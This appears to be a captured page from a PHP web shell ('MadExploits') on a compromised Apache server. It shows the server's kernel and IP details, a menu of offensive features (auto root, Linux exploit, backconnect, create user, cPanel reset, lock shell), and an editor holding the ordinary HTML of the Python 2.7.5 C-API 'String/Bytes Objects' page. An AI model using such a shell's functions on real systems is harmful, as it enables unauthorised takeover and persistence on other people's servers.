Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els11.x86_64 #1 SMP Sun Nov 3 09:06:59 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 3.15.148.203
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
doc /
python-docs-2.7.5 /
html /
c-api /
[ HOME SHELL ]
Name
Size
Permission
Action
abstract.html
7.09
KB
-rw-r--r--
allocation.html
16.94
KB
-rw-r--r--
arg.html
55.63
KB
-rw-r--r--
bool.html
9.24
KB
-rw-r--r--
buffer.html
43.94
KB
-rw-r--r--
bytearray.html
13.03
KB
-rw-r--r--
capsule.html
19.04
KB
-rw-r--r--
cell.html
10.36
KB
-rw-r--r--
class.html
10.48
KB
-rw-r--r--
cobject.html
11.06
KB
-rw-r--r--
code.html
10.79
KB
-rw-r--r--
codec.html
18.94
KB
-rw-r--r--
complex.html
19.01
KB
-rw-r--r--
concrete.html
15.16
KB
-rw-r--r--
conversion.html
20.98
KB
-rw-r--r--
datetime.html
23.48
KB
-rw-r--r--
descriptor.html
10.97
KB
-rw-r--r--
dict.html
29.9
KB
-rw-r--r--
exceptions.html
75.95
KB
-rw-r--r--
file.html
21.85
KB
-rw-r--r--
float.html
15.85
KB
-rw-r--r--
function.html
13.16
KB
-rw-r--r--
gcsupport.html
20.25
KB
-rw-r--r--
gen.html
7.92
KB
-rw-r--r--
import.html
32.45
KB
-rw-r--r--
index.html
12.55
KB
-rw-r--r--
init.html
96.34
KB
-rw-r--r--
int.html
18.31
KB
-rw-r--r--
intro.html
62.21
KB
-rw-r--r--
iter.html
9.16
KB
-rw-r--r--
iterator.html
10.9
KB
-rw-r--r--
list.html
22.27
KB
-rw-r--r--
long.html
31.93
KB
-rw-r--r--
mapping.html
14.41
KB
-rw-r--r--
marshal.html
14.77
KB
-rw-r--r--
memory.html
23.17
KB
-rw-r--r--
method.html
12.47
KB
-rw-r--r--
module.html
15.33
KB
-rw-r--r--
none.html
7.39
KB
-rw-r--r--
number.html
43.95
KB
-rw-r--r--
objbuffer.html
11.26
KB
-rw-r--r--
object.html
51.97
KB
-rw-r--r--
objimpl.html
6.9
KB
-rw-r--r--
refcounting.html
11.86
KB
-rw-r--r--
reflection.html
9.82
KB
-rw-r--r--
sequence.html
28.3
KB
-rw-r--r--
set.html
28.22
KB
-rw-r--r--
slice.html
11.19
KB
-rw-r--r--
string.html
33.52
KB
-rw-r--r--
structures.html
30.79
KB
-rw-r--r--
sys.html
19.18
KB
-rw-r--r--
tuple.html
19.49
KB
-rw-r--r--
type.html
12.86
KB
-rw-r--r--
typeobj.html
150.06
KB
-rw-r--r--
unicode.html
105.59
KB
-rw-r--r--
utilities.html
7.23
KB
-rw-r--r--
veryhigh.html
40.2
KB
-rw-r--r--
weakref.html
12.48
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : string.html
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>String/Bytes Objects — Python 2.7.5 documentation</title> <link rel="stylesheet" href="../_static/default.css" type="text/css" /> <link rel="stylesheet" href="../_static/pygments.css" type="text/css" /> <script type="text/javascript"> var DOCUMENTATION_OPTIONS = { URL_ROOT: '../', VERSION: '2.7.5', COLLAPSE_INDEX: false, FILE_SUFFIX: '.html', HAS_SOURCE: true }; </script> <script type="text/javascript" src="../_static/jquery.js"></script> <script type="text/javascript" src="../_static/underscore.js"></script> <script type="text/javascript" src="../_static/doctools.js"></script> <script type="text/javascript" src="../_static/sidebar.js"></script> <link rel="search" type="application/opensearchdescription+xml" title="Search within Python 2.7.5 documentation" href="../_static/opensearch.xml"/> <link rel="author" title="About these documents" href="../about.html" /> <link rel="copyright" title="Copyright" href="../copyright.html" /> <link rel="top" title="Python 2.7.5 documentation" href="../index.html" /> <link rel="up" title="Concrete Objects Layer" href="concrete.html" /> <link rel="next" title="Unicode Objects and Codecs" href="unicode.html" /> <link rel="prev" title="Byte Array Objects" href="bytearray.html" /> <link rel="shortcut icon" type="image/png" href="../_static/py.png" /> <script type="text/javascript" src="../_static/copybutton.js"></script> </head> <body> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" accesskey="I">index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="unicode.html" title="Unicode Objects and Codecs" accesskey="N">next</a> |</li> <li class="right" > <a href="bytearray.html" title="Byte Array Objects" accesskey="P">previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="http://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.5 documentation</a> » </li> <li><a href="index.html" >Python/C API Reference Manual</a> »</li> <li><a href="concrete.html" accesskey="U">Concrete Objects Layer</a> »</li> </ul> </div> <div class="document"> <div class="documentwrapper"> <div class="bodywrapper"> <div class="body"> <div class="section" id="string-bytes-objects"> <span id="stringobjects"></span><h1>String/Bytes Objects<a class="headerlink" href="#string-bytes-objects" title="Permalink to this headline">¶</a></h1> <p>These functions raise <a class="reference internal" href="../library/exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><tt class="xref py py-exc docutils literal"><span class="pre">TypeError</span></tt></a> when expecting a string parameter and are called with a non-string parameter.</p> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">These functions have been renamed to PyBytes_* in Python 3.x. Unless otherwise noted, the PyBytes functions available in 3.x are aliased to their PyString_* equivalents to help porting.</p> </div> <span class="target" id="index-0"></span><dl class="type"> <dt id="PyStringObject"> <tt class="descname">PyStringObject</tt><a class="headerlink" href="#PyStringObject" title="Permalink to this definition">¶</a></dt> <dd><p>This subtype of <a class="reference internal" href="structures.html#PyObject" title="PyObject"><tt class="xref c c-type docutils literal"><span class="pre">PyObject</span></tt></a> represents a Python string object.</p> </dd></dl> <dl class="var"> <dt id="PyString_Type"> <a class="reference internal" href="type.html#PyTypeObject" title="PyTypeObject">PyTypeObject</a> <tt class="descname">PyString_Type</tt><a class="headerlink" href="#PyString_Type" title="Permalink to this definition">¶</a></dt> <dd><p id="index-1">This instance of <a class="reference internal" href="type.html#PyTypeObject" title="PyTypeObject"><tt class="xref c c-type docutils literal"><span class="pre">PyTypeObject</span></tt></a> represents the Python string type; it is the same object as <tt class="docutils literal"><span class="pre">str</span></tt> and <tt class="docutils literal"><span class="pre">types.StringType</span></tt> in the Python layer. .</p> </dd></dl> <dl class="function"> <dt id="PyString_Check"> int <tt class="descname">PyString_Check</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *o</em><big>)</big><a class="headerlink" href="#PyString_Check" title="Permalink to this definition">¶</a></dt> <dd><p>Return true if the object <em>o</em> is a string object or an instance of a subtype of the string type.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.2: </span>Allowed subtypes to be accepted.</p> </dd></dl> <dl class="function"> <dt id="PyString_CheckExact"> int <tt class="descname">PyString_CheckExact</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *o</em><big>)</big><a class="headerlink" href="#PyString_CheckExact" title="Permalink to this definition">¶</a></dt> <dd><p>Return true if the object <em>o</em> is a string object, but not an instance of a subtype of the string type.</p> <p class="versionadded"> <span class="versionmodified">New in version 2.2.</span></p> </dd></dl> <dl class="function"> <dt id="PyString_FromString"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_FromString</tt><big>(</big>const char<em> *v</em><big>)</big><a class="headerlink" href="#PyString_FromString" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Return a new string object with a copy of the string <em>v</em> as value on success, and <em>NULL</em> on failure. The parameter <em>v</em> must not be <em>NULL</em>; it will not be checked.</p> </dd></dl> <dl class="function"> <dt id="PyString_FromStringAndSize"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_FromStringAndSize</tt><big>(</big>const char<em> *v</em>, Py_ssize_t<em> len</em><big>)</big><a class="headerlink" href="#PyString_FromStringAndSize" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Return a new string object with a copy of the string <em>v</em> as value and length <em>len</em> on success, and <em>NULL</em> on failure. If <em>v</em> is <em>NULL</em>, the contents of the string are uninitialized.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.5: </span>This function used an <tt class="xref c c-type docutils literal"><span class="pre">int</span></tt> type for <em>len</em>. This might require changes in your code for properly supporting 64-bit systems.</p> </dd></dl> <dl class="function"> <dt id="PyString_FromFormat"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_FromFormat</tt><big>(</big>const char<em> *format</em>, ...<big>)</big><a class="headerlink" href="#PyString_FromFormat" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Take a C <tt class="xref c c-func docutils literal"><span class="pre">printf()</span></tt>-style <em>format</em> string and a variable number of arguments, calculate the size of the resulting Python string and return a string with the values formatted into it. The variable arguments must be C types and must correspond exactly to the format characters in the <em>format</em> string. The following format characters are allowed:</p> <table border="1" class="docutils"> <colgroup> <col width="29%" /> <col width="23%" /> <col width="48%" /> </colgroup> <thead valign="bottom"> <tr class="row-odd"><th class="head">Format Characters</th> <th class="head">Type</th> <th class="head">Comment</th> </tr> </thead> <tbody valign="top"> <tr class="row-even"><td><tt class="xref py py-attr docutils literal"><span class="pre">%%</span></tt></td> <td><em>n/a</em></td> <td>The literal % character.</td> </tr> <tr class="row-odd"><td><tt class="xref py py-attr docutils literal"><span class="pre">%c</span></tt></td> <td>int</td> <td>A single character, represented as an C int.</td> </tr> <tr class="row-even"><td><tt class="xref py py-attr docutils literal"><span class="pre">%d</span></tt></td> <td>int</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%d")</span></tt>.</td> </tr> <tr class="row-odd"><td><tt class="xref py py-attr docutils literal"><span class="pre">%u</span></tt></td> <td>unsigned int</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%u")</span></tt>.</td> </tr> <tr class="row-even"><td><tt class="xref py py-attr docutils literal"><span class="pre">%ld</span></tt></td> <td>long</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%ld")</span></tt>.</td> </tr> <tr class="row-odd"><td><tt class="xref py py-attr docutils literal"><span class="pre">%lu</span></tt></td> <td>unsigned long</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%lu")</span></tt>.</td> </tr> <tr class="row-even"><td><tt class="xref py py-attr docutils literal"><span class="pre">%lld</span></tt></td> <td>long long</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%lld")</span></tt>.</td> </tr> <tr class="row-odd"><td><tt class="xref py py-attr docutils literal"><span class="pre">%llu</span></tt></td> <td>unsigned long long</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%llu")</span></tt>.</td> </tr> <tr class="row-even"><td><tt class="xref py py-attr docutils literal"><span class="pre">%zd</span></tt></td> <td>Py_ssize_t</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%zd")</span></tt>.</td> </tr> <tr class="row-odd"><td><tt class="xref py py-attr docutils literal"><span class="pre">%zu</span></tt></td> <td>size_t</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%zu")</span></tt>.</td> </tr> <tr class="row-even"><td><tt class="xref py py-attr docutils literal"><span class="pre">%i</span></tt></td> <td>int</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%i")</span></tt>.</td> </tr> <tr class="row-odd"><td><tt class="xref py py-attr docutils literal"><span class="pre">%x</span></tt></td> <td>int</td> <td>Exactly equivalent to <tt class="docutils literal"><span class="pre">printf("%x")</span></tt>.</td> </tr> <tr class="row-even"><td><tt class="xref py py-attr docutils literal"><span class="pre">%s</span></tt></td> <td>char*</td> <td>A null-terminated C character array.</td> </tr> <tr class="row-odd"><td><tt class="xref py py-attr docutils literal"><span class="pre">%p</span></tt></td> <td>void*</td> <td>The hex representation of a C pointer. Mostly equivalent to <tt class="docutils literal"><span class="pre">printf("%p")</span></tt> except that it is guaranteed to start with the literal <tt class="docutils literal"><span class="pre">0x</span></tt> regardless of what the platform’s <tt class="docutils literal"><span class="pre">printf</span></tt> yields.</td> </tr> </tbody> </table> <p>An unrecognized format character causes all the rest of the format string to be copied as-is to the result string, and any extra arguments discarded.</p> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">The <cite>“%lld”</cite> and <cite>“%llu”</cite> format specifiers are only available when <tt class="xref py py-const docutils literal"><span class="pre">HAVE_LONG_LONG</span></tt> is defined.</p> </div> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.7: </span>Support for <cite>“%lld”</cite> and <cite>“%llu”</cite> added.</p> </dd></dl> <dl class="function"> <dt id="PyString_FromFormatV"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_FromFormatV</tt><big>(</big>const char<em> *format</em>, va_list<em> vargs</em><big>)</big><a class="headerlink" href="#PyString_FromFormatV" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Identical to <a class="reference internal" href="#PyString_FromFormat" title="PyString_FromFormat"><tt class="xref c c-func docutils literal"><span class="pre">PyString_FromFormat()</span></tt></a> except that it takes exactly two arguments.</p> </dd></dl> <dl class="function"> <dt id="PyString_Size"> Py_ssize_t <tt class="descname">PyString_Size</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *string</em><big>)</big><a class="headerlink" href="#PyString_Size" title="Permalink to this definition">¶</a></dt> <dd><p>Return the length of the string in string object <em>string</em>.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.5: </span>This function returned an <tt class="xref c c-type docutils literal"><span class="pre">int</span></tt> type. This might require changes in your code for properly supporting 64-bit systems.</p> </dd></dl> <dl class="function"> <dt id="PyString_GET_SIZE"> Py_ssize_t <tt class="descname">PyString_GET_SIZE</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *string</em><big>)</big><a class="headerlink" href="#PyString_GET_SIZE" title="Permalink to this definition">¶</a></dt> <dd><p>Macro form of <a class="reference internal" href="#PyString_Size" title="PyString_Size"><tt class="xref c c-func docutils literal"><span class="pre">PyString_Size()</span></tt></a> but without error checking.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.5: </span>This macro returned an <tt class="xref c c-type docutils literal"><span class="pre">int</span></tt> type. This might require changes in your code for properly supporting 64-bit systems.</p> </dd></dl> <dl class="function"> <dt id="PyString_AsString"> char* <tt class="descname">PyString_AsString</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *string</em><big>)</big><a class="headerlink" href="#PyString_AsString" title="Permalink to this definition">¶</a></dt> <dd><p>Return a NUL-terminated representation of the contents of <em>string</em>. The pointer refers to the internal buffer of <em>string</em>, not a copy. The data must not be modified in any way, unless the string was just created using <tt class="docutils literal"><span class="pre">PyString_FromStringAndSize(NULL,</span> <span class="pre">size)</span></tt>. It must not be deallocated. If <em>string</em> is a Unicode object, this function computes the default encoding of <em>string</em> and operates on that. If <em>string</em> is not a string object at all, <a class="reference internal" href="#PyString_AsString" title="PyString_AsString"><tt class="xref c c-func docutils literal"><span class="pre">PyString_AsString()</span></tt></a> returns <em>NULL</em> and raises <a class="reference internal" href="../library/exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><tt class="xref py py-exc docutils literal"><span class="pre">TypeError</span></tt></a>.</p> </dd></dl> <dl class="function"> <dt id="PyString_AS_STRING"> char* <tt class="descname">PyString_AS_STRING</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *string</em><big>)</big><a class="headerlink" href="#PyString_AS_STRING" title="Permalink to this definition">¶</a></dt> <dd><p>Macro form of <a class="reference internal" href="#PyString_AsString" title="PyString_AsString"><tt class="xref c c-func docutils literal"><span class="pre">PyString_AsString()</span></tt></a> but without error checking. Only string objects are supported; no Unicode objects should be passed.</p> </dd></dl> <dl class="function"> <dt id="PyString_AsStringAndSize"> int <tt class="descname">PyString_AsStringAndSize</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *obj</em>, char<em> **buffer</em>, Py_ssize_t<em> *length</em><big>)</big><a class="headerlink" href="#PyString_AsStringAndSize" title="Permalink to this definition">¶</a></dt> <dd><p>Return a NUL-terminated representation of the contents of the object <em>obj</em> through the output variables <em>buffer</em> and <em>length</em>.</p> <p>The function accepts both string and Unicode objects as input. For Unicode objects it returns the default encoded version of the object. If <em>length</em> is <em>NULL</em>, the resulting buffer may not contain NUL characters; if it does, the function returns <tt class="docutils literal"><span class="pre">-1</span></tt> and a <a class="reference internal" href="../library/exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><tt class="xref py py-exc docutils literal"><span class="pre">TypeError</span></tt></a> is raised.</p> <p>The buffer refers to an internal string buffer of <em>obj</em>, not a copy. The data must not be modified in any way, unless the string was just created using <tt class="docutils literal"><span class="pre">PyString_FromStringAndSize(NULL,</span> <span class="pre">size)</span></tt>. It must not be deallocated. If <em>string</em> is a Unicode object, this function computes the default encoding of <em>string</em> and operates on that. If <em>string</em> is not a string object at all, <a class="reference internal" href="#PyString_AsStringAndSize" title="PyString_AsStringAndSize"><tt class="xref c c-func docutils literal"><span class="pre">PyString_AsStringAndSize()</span></tt></a> returns <tt class="docutils literal"><span class="pre">-1</span></tt> and raises <a class="reference internal" href="../library/exceptions.html#exceptions.TypeError" title="exceptions.TypeError"><tt class="xref py py-exc docutils literal"><span class="pre">TypeError</span></tt></a>.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.5: </span>This function used an <tt class="xref c c-type docutils literal"><span class="pre">int</span> <span class="pre">*</span></tt> type for <em>length</em>. This might require changes in your code for properly supporting 64-bit systems.</p> </dd></dl> <dl class="function"> <dt id="PyString_Concat"> void <tt class="descname">PyString_Concat</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> **string</em>, <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *newpart</em><big>)</big><a class="headerlink" href="#PyString_Concat" title="Permalink to this definition">¶</a></dt> <dd><p>Create a new string object in <em>*string</em> containing the contents of <em>newpart</em> appended to <em>string</em>; the caller will own the new reference. The reference to the old value of <em>string</em> will be stolen. If the new string cannot be created, the old reference to <em>string</em> will still be discarded and the value of <em>*string</em> will be set to <em>NULL</em>; the appropriate exception will be set.</p> </dd></dl> <dl class="function"> <dt id="PyString_ConcatAndDel"> void <tt class="descname">PyString_ConcatAndDel</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> **string</em>, <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *newpart</em><big>)</big><a class="headerlink" href="#PyString_ConcatAndDel" title="Permalink to this definition">¶</a></dt> <dd><p>Create a new string object in <em>*string</em> containing the contents of <em>newpart</em> appended to <em>string</em>. This version decrements the reference count of <em>newpart</em>.</p> </dd></dl> <dl class="function"> <dt id="_PyString_Resize"> int <tt class="descname">_PyString_Resize</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> **string</em>, Py_ssize_t<em> newsize</em><big>)</big><a class="headerlink" href="#_PyString_Resize" title="Permalink to this definition">¶</a></dt> <dd><p>A way to resize a string object even though it is “immutable”. Only use this to build up a brand new string object; don’t use this if the string may already be known in other parts of the code. It is an error to call this function if the refcount on the input string object is not one. Pass the address of an existing string object as an lvalue (it may be written into), and the new size desired. On success, <em>*string</em> holds the resized string object and <tt class="docutils literal"><span class="pre">0</span></tt> is returned; the address in <em>*string</em> may differ from its input value. If the reallocation fails, the original string object at <em>*string</em> is deallocated, <em>*string</em> is set to <em>NULL</em>, a memory exception is set, and <tt class="docutils literal"><span class="pre">-1</span></tt> is returned.</p> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.5: </span>This function used an <tt class="xref c c-type docutils literal"><span class="pre">int</span></tt> type for <em>newsize</em>. This might require changes in your code for properly supporting 64-bit systems.</p> </dd></dl> <dl class="function"> <dt id="PyString_Format"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_Format</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *format</em>, <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *args</em><big>)</big><a class="headerlink" href="#PyString_Format" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Return a new string object from <em>format</em> and <em>args</em>. Analogous to <tt class="docutils literal"><span class="pre">format</span> <span class="pre">%</span> <span class="pre">args</span></tt>. The <em>args</em> argument must be a tuple.</p> </dd></dl> <dl class="function"> <dt id="PyString_InternInPlace"> void <tt class="descname">PyString_InternInPlace</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> **string</em><big>)</big><a class="headerlink" href="#PyString_InternInPlace" title="Permalink to this definition">¶</a></dt> <dd><p>Intern the argument <em>*string</em> in place. The argument must be the address of a pointer variable pointing to a Python string object. If there is an existing interned string that is the same as <em>*string</em>, it sets <em>*string</em> to it (decrementing the reference count of the old string object and incrementing the reference count of the interned string object), otherwise it leaves <em>*string</em> alone and interns it (incrementing its reference count). (Clarification: even though there is a lot of talk about reference counts, think of this function as reference-count-neutral; you own the object after the call if and only if you owned it before the call.)</p> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">This function is not available in 3.x and does not have a PyBytes alias.</p> </div> </dd></dl> <dl class="function"> <dt id="PyString_InternFromString"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_InternFromString</tt><big>(</big>const char<em> *v</em><big>)</big><a class="headerlink" href="#PyString_InternFromString" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>A combination of <a class="reference internal" href="#PyString_FromString" title="PyString_FromString"><tt class="xref c c-func docutils literal"><span class="pre">PyString_FromString()</span></tt></a> and <a class="reference internal" href="#PyString_InternInPlace" title="PyString_InternInPlace"><tt class="xref c c-func docutils literal"><span class="pre">PyString_InternInPlace()</span></tt></a>, returning either a new string object that has been interned, or a new (“owned”) reference to an earlier interned string object with the same value.</p> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">This function is not available in 3.x and does not have a PyBytes alias.</p> </div> </dd></dl> <dl class="function"> <dt id="PyString_Decode"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_Decode</tt><big>(</big>const char<em> *s</em>, Py_ssize_t<em> size</em>, const char<em> *encoding</em>, const char<em> *errors</em><big>)</big><a class="headerlink" href="#PyString_Decode" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Create an object by decoding <em>size</em> bytes of the encoded buffer <em>s</em> using the codec registered for <em>encoding</em>. <em>encoding</em> and <em>errors</em> have the same meaning as the parameters of the same name in the <a class="reference internal" href="../library/functions.html#unicode" title="unicode"><tt class="xref py py-func docutils literal"><span class="pre">unicode()</span></tt></a> built-in function. The codec to be used is looked up using the Python codec registry. Return <em>NULL</em> if an exception was raised by the codec.</p> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">This function is not available in 3.x and does not have a PyBytes alias.</p> </div> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.5: </span>This function used an <tt class="xref c c-type docutils literal"><span class="pre">int</span></tt> type for <em>size</em>. This might require changes in your code for properly supporting 64-bit systems.</p> </dd></dl> <dl class="function"> <dt id="PyString_AsDecodedObject"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_AsDecodedObject</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *str</em>, const char<em> *encoding</em>, const char<em> *errors</em><big>)</big><a class="headerlink" href="#PyString_AsDecodedObject" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Decode a string object by passing it to the codec registered for <em>encoding</em> and return the result as Python object. <em>encoding</em> and <em>errors</em> have the same meaning as the parameters of the same name in the string <tt class="xref py py-meth docutils literal"><span class="pre">encode()</span></tt> method. The codec to be used is looked up using the Python codec registry. Return <em>NULL</em> if an exception was raised by the codec.</p> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">This function is not available in 3.x and does not have a PyBytes alias.</p> </div> </dd></dl> <dl class="function"> <dt id="PyString_Encode"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_Encode</tt><big>(</big>const char<em> *s</em>, Py_ssize_t<em> size</em>, const char<em> *encoding</em>, const char<em> *errors</em><big>)</big><a class="headerlink" href="#PyString_Encode" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Encode the <tt class="xref c c-type docutils literal"><span class="pre">char</span></tt> buffer of the given size by passing it to the codec registered for <em>encoding</em> and return a Python object. <em>encoding</em> and <em>errors</em> have the same meaning as the parameters of the same name in the string <tt class="xref py py-meth docutils literal"><span class="pre">encode()</span></tt> method. The codec to be used is looked up using the Python codec registry. Return <em>NULL</em> if an exception was raised by the codec.</p> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">This function is not available in 3.x and does not have a PyBytes alias.</p> </div> <p class="versionchanged"> <span class="versionmodified">Changed in version 2.5: </span>This function used an <tt class="xref c c-type docutils literal"><span class="pre">int</span></tt> type for <em>size</em>. This might require changes in your code for properly supporting 64-bit systems.</p> </dd></dl> <dl class="function"> <dt id="PyString_AsEncodedObject"> <a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a>* <tt class="descname">PyString_AsEncodedObject</tt><big>(</big><a class="reference internal" href="structures.html#PyObject" title="PyObject">PyObject</a><em> *str</em>, const char<em> *encoding</em>, const char<em> *errors</em><big>)</big><a class="headerlink" href="#PyString_AsEncodedObject" title="Permalink to this definition">¶</a></dt> <dd><em class="refcount">Return value: New reference.</em><p>Encode a string object using the codec registered for <em>encoding</em> and return the result as Python object. <em>encoding</em> and <em>errors</em> have the same meaning as the parameters of the same name in the string <tt class="xref py py-meth docutils literal"><span class="pre">encode()</span></tt> method. The codec to be used is looked up using the Python codec registry. Return <em>NULL</em> if an exception was raised by the codec.</p> <div class="admonition note"> <p class="first admonition-title">Note</p> <p class="last">This function is not available in 3.x and does not have a PyBytes alias.</p> </div> </dd></dl> </div> </div> </div> </div> <div class="sphinxsidebar"> <div class="sphinxsidebarwrapper"> <h4>Previous topic</h4> <p class="topless"><a href="bytearray.html" title="previous chapter">Byte Array Objects</a></p> <h4>Next topic</h4> <p class="topless"><a href="unicode.html" title="next chapter">Unicode Objects and Codecs</a></p> <h3>This Page</h3> <ul class="this-page-menu"> <li><a href="../bugs.html">Report a Bug</a></li> <li><a href="../_sources/c-api/string.txt" rel="nofollow">Show Source</a></li> </ul> <div id="searchbox" style="display: none"> <h3>Quick search</h3> <form class="search" action="../search.html" method="get"> <input type="text" name="q" /> <input type="submit" value="Go" /> <input type="hidden" name="check_keywords" value="yes" /> <input type="hidden" name="area" value="default" /> </form> <p class="searchtip" style="font-size: 90%"> Enter search terms or a module, class or function name. </p> </div> <script type="text/javascript">$('#searchbox').show(0);</script> </div> </div> <div class="clearer"></div> </div> <div class="related"> <h3>Navigation</h3> <ul> <li class="right" style="margin-right: 10px"> <a href="../genindex.html" title="General Index" >index</a></li> <li class="right" > <a href="../py-modindex.html" title="Python Module Index" >modules</a> |</li> <li class="right" > <a href="unicode.html" title="Unicode Objects and Codecs" >next</a> |</li> <li class="right" > <a href="bytearray.html" title="Byte Array Objects" >previous</a> |</li> <li><img src="../_static/py.png" alt="" style="vertical-align: middle; margin-top: -1px"/></li> <li><a href="http://www.python.org/">Python</a> »</li> <li> <a href="../index.html">Python 2.7.5 documentation</a> » </li> <li><a href="index.html" >Python/C API Reference Manual</a> »</li> <li><a href="concrete.html" >Concrete Objects Layer</a> »</li> </ul> </div> <div class="footer"> © <a href="../copyright.html">Copyright</a> 1990-2019, Python Software Foundation. <br /> The Python Software Foundation is a non-profit corporation. <a href="http://www.python.org/psf/donations/">Please donate.</a> <br /> Last updated on Jul 03, 2019. <a href="../bugs.html">Found a bug</a>? <br /> Created using <a href="http://sphinx.pocoo.org/">Sphinx</a> 1.1.3. </div> </body> </html>
Close
